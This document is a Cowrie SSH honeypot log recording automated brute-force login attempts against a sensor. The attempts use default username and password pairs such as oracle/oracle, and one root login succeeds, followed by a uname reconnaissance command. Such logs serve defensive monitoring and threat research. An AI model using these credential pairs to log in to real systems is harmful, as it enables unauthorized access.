{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:19.271292Z","src_ip":"101.44.96.62","session":"cc79ad32d194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongo","password":"123456","message":"login attempt [mongo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:19.924345Z","src_ip":"101.44.96.62","session":"cc79ad32d194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:21.143134Z","src_ip":"101.44.96.62","session":"cc79ad32d194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":51566,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef13405635a6","protocol":"ssh","message":"New connection: 101.44.96.62:51566 (159.203.135.109:22) [session: ef13405635a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:32.451845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:32.456530Z","src_ip":"101.44.96.62","session":"ef13405635a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:32.683993Z","src_ip":"101.44.96.62","session":"ef13405635a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:33.333915Z","src_ip":"101.44.96.62","session":"ef13405635a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:34.552973Z","src_ip":"101.44.96.62","session":"ef13405635a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":49912,"dst_ip":"159.203.135.109","dst_port":22,"session":"986b6b22aa65","protocol":"ssh","message":"New connection: 101.44.96.62:49912 (159.203.135.109:22) [session: 986b6b22aa65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:45.994353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:45.998664Z","src_ip":"101.44.96.62","session":"986b6b22aa65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:46.225829Z","src_ip":"101.44.96.62","session":"986b6b22aa65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:46.869602Z","src_ip":"101.44.96.62","session":"986b6b22aa65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:48.086694Z","src_ip":"101.44.96.62","session":"986b6b22aa65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59214,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b669096969d","protocol":"ssh","message":"New connection: 101.44.96.62:59214 (159.203.135.109:22) [session: 1b669096969d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:59.464380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:59.468904Z","src_ip":"101.44.96.62","session":"1b669096969d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:59.685496Z","src_ip":"101.44.96.62","session":"1b669096969d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin123","message":"login attempt [gpadmin/gpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:00.335160Z","src_ip":"101.44.96.62","session":"1b669096969d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:01.556391Z","src_ip":"101.44.96.62","session":"1b669096969d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55786,"dst_ip":"159.203.135.109","dst_port":22,"session":"72a36e0a0072","protocol":"ssh","message":"New connection: 101.44.96.62:55786 (159.203.135.109:22) [session: 72a36e0a0072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:13.007421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:13.011499Z","src_ip":"101.44.96.62","session":"72a36e0a0072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:13.235391Z","src_ip":"101.44.96.62","session":"72a36e0a0072","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"aA123456","message":"login attempt [root/aA123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:13.886806Z","src_ip":"101.44.96.62","session":"72a36e0a0072","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:14.344910Z","src_ip":"101.44.96.62","session":"72a36e0a0072","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:14.347228Z","src_ip":"101.44.96.62","session":"72a36e0a0072","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:14.565784Z","src_ip":"101.44.96.62","session":"72a36e0a0072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:14.570583Z","src_ip":"101.44.96.62","session":"72a36e0a0072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59664,"dst_ip":"159.203.135.109","dst_port":22,"session":"472093b33bb1","protocol":"ssh","message":"New connection: 101.44.96.62:59664 (159.203.135.109:22) [session: 472093b33bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:26.461550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:26.465400Z","src_ip":"101.44.96.62","session":"472093b33bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:26.682618Z","src_ip":"101.44.96.62","session":"472093b33bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:27.335308Z","src_ip":"101.44.96.62","session":"472093b33bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:28.556528Z","src_ip":"101.44.96.62","session":"472093b33bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":54724,"dst_ip":"159.203.135.109","dst_port":22,"session":"d658ce4cc0ca","protocol":"ssh","message":"New connection: 101.44.96.62:54724 (159.203.135.109:22) [session: d658ce4cc0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:39.953212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:39.960213Z","src_ip":"101.44.96.62","session":"d658ce4cc0ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:40.195204Z","src_ip":"101.44.96.62","session":"d658ce4cc0ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:40.846450Z","src_ip":"101.44.96.62","session":"d658ce4cc0ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:42.066959Z","src_ip":"101.44.96.62","session":"d658ce4cc0ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41686,"dst_ip":"159.203.135.109","dst_port":22,"session":"daa3b1b26174","protocol":"ssh","message":"New connection: 101.44.96.62:41686 (159.203.135.109:22) [session: daa3b1b26174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:53.453792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:53.458334Z","src_ip":"101.44.96.62","session":"daa3b1b26174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:53.675926Z","src_ip":"101.44.96.62","session":"daa3b1b26174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache123","message":"login attempt [apache/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:54.328225Z","src_ip":"101.44.96.62","session":"daa3b1b26174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:55.547805Z","src_ip":"101.44.96.62","session":"daa3b1b26174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59308,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f39af8efa16","protocol":"ssh","message":"New connection: 2.57.122.238:59308 (10.17.0.5:22) [session: 9f39af8efa16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:56.935135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:56.938411Z","src_ip":"2.57.122.238","session":"9f39af8efa16","protocol":"ssh"}
